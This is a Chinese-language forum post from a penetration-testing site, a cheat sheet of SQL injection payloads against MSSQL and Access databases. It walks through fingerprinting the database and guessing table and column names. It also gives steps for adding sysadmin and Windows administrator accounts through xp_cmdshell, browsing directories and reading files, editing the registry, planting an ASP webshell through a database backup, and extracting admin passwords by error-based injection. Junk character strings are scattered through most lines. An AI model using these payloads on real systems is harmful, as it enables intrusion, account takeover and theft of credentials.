中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入 / n& u* \- p8 x
;and 1=1
1 `8 x, ?1 C; m% H' M0 O;and 1=2
# m5 g/ |! h& K# m5 C9 I1 m8 d' U1 {5 h6 `( M
2.初步判断是否是mssql
+ f4 ^3 Y4 g$ o' I;and user>0 9 i! W* l: p4 w8 D. P& N8 n

8 w4 k7 W1 Z7 a. G7 i  b/ i3.判断数据库系统 # r7 k* z9 s* d; \3 Z& }: S
;and (select count(*) from sysobjects)>0 mssql   N! L; M9 y/ U
;and (select count(*) from msysobjects)>0 access 2 K: N# y  S( N: B
  {& H. N9 U0 t  Q
4.注入参数是字符
# l' o  k7 J' x% r; s, s'and [查询条件] and ''='
5 q4 A2 i" ~2 j, [
1 [" x# A% H6 D7 v# v8 h5.搜索时没过滤参数的
- F  n" {# h8 N9 P'and [查询条件] and '%25'=' 7 g% k' ]! b/ L

: G7 ~3 I9 b1 |4 S6.猜数表名 : v" ^6 q! u' d' S' b
;and (select Count(*) from [表名])>0
( u" J8 d) ?% q2 F* l, Y1 g+ e- z$ B& t$ I- d/ R
7.猜字段 # o+ x9 q; S- [& K+ ]( T  Z
;and (select Count(字段名) from 表名)>0 3 A+ J2 k$ R3 B! U
5 @! ?3 _! Z" @
8.猜字段中记录长度 ' ]5 E, F/ ^: F
;and (select top 1 len(字段名) from 表名)>0
% I( T' g/ S2 ]  V  Q% d+ c5 o9 p& |" T- l  ~- l/ y6 t, J
9.(1)猜字段的ascii值(access)
/ i) u2 \; j! M9 n! |( y6 D;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
* X  q& |* ?0 ^: B4 h  B9 t6 N1 Q! j# z" R. W/ l$ }; A
(2)猜字段的ascii值(mssql)
  }! w$ z% n5 P; \: w;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 - V$ ^4 x1 E  F# R/ a

7 @. A# C( @! P% r# n( r) T7 ]5 n10.测试权限结构(mssql)
, {5 c: Z3 E! |( w' o;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 B& L& K+ l! W$ p0 v;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 d5 Q6 L  A; w% S8 N6 H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% W) P3 C8 x: g;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7 x/ `- Z) W8 _
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- # ~" m1 X$ a6 G& I6 y% f
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 D5 y' z) l: T1 q% X! p1 }& I( {3 i;and 1=(select IS_MEMBER('db_owner'));-- 1 z/ W& L; L" ]# U2 f
4 s0 W, _. E) ^) U0 n; h0 ^
11.添加mssql和系统的帐户
0 L% U4 R3 P4 t7 V;exec master.dbo.sp_addlogin username;-- ( Y& J7 B1 D6 R* V. [$ F7 O
;exec master.dbo.sp_password null,username,password;--
6 u) J7 S. r. ?$ v;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & s. p0 }) b. P+ \7 L, ^, G0 X* L
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
9 A! p$ b, D! n) i;exec master.dbo.xp_cmdshell 'net user username password /add';-- # g& G# k' w; O( ]& z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 U+ W8 `. p* O9 T) X( K* E

  q! c: o* E4 E12.(1)遍历目录
- a0 t. q) p/ z7 Y: D, l;create table dirs(paths varchar(100), id int)
4 H' j* b+ ?- P;insert dirs exec master.dbo.xp_dirtree 'c:\'
0 ~- T" t) C. Z1 ^  A1 P;and (select top 1 paths from dirs)>0   V" Z6 {$ c* F' a( x7 k+ n9 {
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
! O4 A/ {# i2 z$ t% j# ]5 }4 L# c, U3 O. v! \% v
(2)遍历目录
1 @5 \- n+ ~7 h6 x& x( V" ~;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 J1 h7 D4 ^% P2 s# M# h" L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 Z2 _% R$ `$ }+ k6 a8 w0 X4 B6 k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 t! Q& Y, m% d. H;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ' ?3 H& J1 N" f
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 `% p% L$ T( ~+ L' q& u" l4 b: o5 t3 {
13.mssql中的存储过程 ! J* Y# h/ I8 v' \  v' O1 ~$ v2 T8 L
xp_regenumvalues 注册表根键, 子键
, W/ O+ \) Y3 `) S# o0 v;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 x5 D4 ^* u$ x8 U' ^% O
xp_regread 根键,子键,键值名 ! c9 [  M& [3 k4 r
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
% H5 s/ F* q5 J8 U3 j/ d4 ~# D9 `xp_regwrite 根键,子键, 值名, 值类型, 值 2 |9 G' v  X# u" [" O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
" k% m) B% G! m2 c) f1 f;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
1 j3 E3 ]" F, \4 Q& c$ Axp_regdeletevalue 根键,子键,值名 . B6 G( ]" r4 w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
8 `" F7 k6 L9 U& o6 Pxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " ~7 i- f7 ]/ b- m+ k3 q+ v

: u7 H8 j  e9 W1 J( x' H; l14.mssql的backup创建webshell
8 P7 C, h4 f4 m! j/ m2 S6 N. e) Muse model
1 a3 [; S9 t* ]; t1 Z; j4 F* ?/ Vcreate table cmd(str image);
! a$ G8 F* x. M( @. Minsert into cmd(str) values ('<% Dim oScript %>');
5 {* a  Q, P) s7 p9 rbackup database model to disk='c:\l.asp';
" M5 H' D+ h' c2 A% {7 \7 c1 P3 W. z1 y
15.mssql内置函数
5 b% K- f3 X/ E. ?$ h;and (select @@version)>0 获得Windows的版本号 ) g/ L" r4 u/ v' q  o/ q3 c, N
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
0 I- @% r/ U4 A' _;and (select user_name())>0 爆当前系统的连接用户 1 C# |) v1 H2 g! r
;and (select db_name())>0 得到当前连接的数据库
( }8 H3 ^4 c7 t* X+ _% |9 Z. v
( v5 I- w9 G7 O- I7 [; P+ ]3 _. r: s
2 q9 ~* @2 o& O' s$ J# x
MSSQL手注暴库
) \  ]* q1 L( M( y( B  |/ _- V6 x+ V* r; P6 E% D0 @) ^- l
1.暴出当前表名和列名
# B; C9 ?$ o9 k* I$ l# w1 G在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。* w  v+ m8 f( ^5 q( |$ d4 h7 b$ V
; K! R2 |2 y8 v5 |- l2 P7 l+ _
第一.爆出所有数据库名5 j8 o. w9 U' ~& p
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。7 I0 V6 i0 P- A+ w/ E$ p
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
. @4 y+ ]; O" [# h
4 B9 L. {- B% [and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
3 ]+ {+ g" ]$ s3 b# [+ K- E& I( P) N0 ^! C6 ^, S( n& Y; c$ G

- }: F; s6 v; o0 y( U2 O第二.爆出指定库中的所有表名
8 J# X% M! N8 L& ]; B得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。, s8 C  k$ N2 p4 [
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
. J5 Q& m8 ~* Q4 @* b
* k/ l$ w' o, B* Q+ @# rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
( p: m' X7 h: ?" rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
/ T, s1 C0 n$ Fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
+ B$ Z3 @& f' R/ y% I9 U, s% p1 d5 S, K* @. O' G
4.爆出指定表中的所有列名
0 W$ w; a( F1 k8 |$ C1 x$ S& nand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 B+ ^% G' w4 i( r& S
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'8 y6 O# b0 M& @+ t

" q. G0 U. f6 T! Zand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名& a/ ?% S$ s% ?/ b

3 W& Q+ Y' b. k7 h" U% @2 ?5 |再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
: `; p- c, l9 R4 q: S; c依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。- d1 g* m1 ?) y- W% r& R
. X" A( N; t5 }

; p: o* O& q8 T+ Y! ?9 ~2 mand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
7 _: J7 m* y2 g; j2 \  D, V$ T  m8 e+ p
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名' e. z; L9 r, K7 Q5 o

2 Y0 E* z/ s6 p  }and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
" I, B6 N- _, k9 D0 u0 G) |4 q( D' s& M+ V2 [1 _
# ], ?  C0 ~, g4 M
  I! o0 I3 Z0 ?" L1 d, V  m0 e- p
5.读取指定表中的数据
  p# ?/ W8 y) O5 f  J
4 m6 e& d( W8 V2 fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
( V+ ?' F. o& b" T, N; d3 x: T: Y+ T2 j0 \3 A9 O6 w
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--) t4 X& v! B, a) ]- V$ ^  L" w

  w# L: D3 y2 e. \7 i4 |3 [8 ?! g+ K& cand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码- ]5 W* p7 [. X) ]
8 V9 S& U* q' s) x

0 V2 G3 o0 p% _- T( R" Jand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
8 M! T/ V. n9 I: W+ ?4 [" |6 b6 Y& s' G1 \
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
/ ^4 W& R! B8 M4 N: f$ m( ?$ N  G& z6 R; e% j# M& a
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
& R) O/ C% E* j. q) v
, j2 A+ s+ W6 Y7 [1 h  z知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
4 L8 x, q5 ~9 o# T




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2